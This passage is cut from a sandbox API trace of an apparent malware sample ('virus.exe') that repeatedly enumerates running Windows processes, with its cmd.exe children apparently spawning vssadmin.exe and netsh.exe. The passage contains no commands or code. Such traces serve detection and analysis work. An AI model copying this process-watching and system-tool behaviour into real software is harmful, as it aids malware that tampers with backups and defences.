dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0252.135] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0252.136] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0252.136] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0252.136] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.137] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.137] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0252.138] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0252.138] CloseHandle (hObject=0x17c) returned 1 [0252.138] Sleep (dwMilliseconds=0x1f4) [0253.195] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0253.199] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.199] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.200] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.200] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.200] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.201] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.201] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.202] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.202] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.203] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0253.203] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.203] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.204] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.204] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.205] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.205] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.206] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.206] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.206] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.207] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.207] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.208] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.208] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.209] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0253.209] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0253.209] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0253.210] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.210] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.211] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.211] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.212] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0253.212] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0253.212] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.213] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.213] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0253.214] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0253.214] CloseHandle (hObject=0x100) returned 1 [0253.214] Sleep (dwMilliseconds=0x1f4) [0253.728] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0253.730] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.730] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.731] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.732] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.732] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.732] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.733] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.733] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.734] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.734] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0253.735] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.735] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.736] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.736] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.736] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.737] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.737] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.738] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.738] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.739] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.739] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.739] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0253.740] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.740] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0253.741] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0253.741] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0253.742] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.742] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.743] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.747] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.747] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0253.748] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0253.748] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.749] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.749] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0253.750] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0253.750] CloseHandle (hObject=0x17c) returned 1 [0253.750] Sleep (dwMilliseconds=0x1f4) [0254.258] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0254.260] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.260] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.261] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 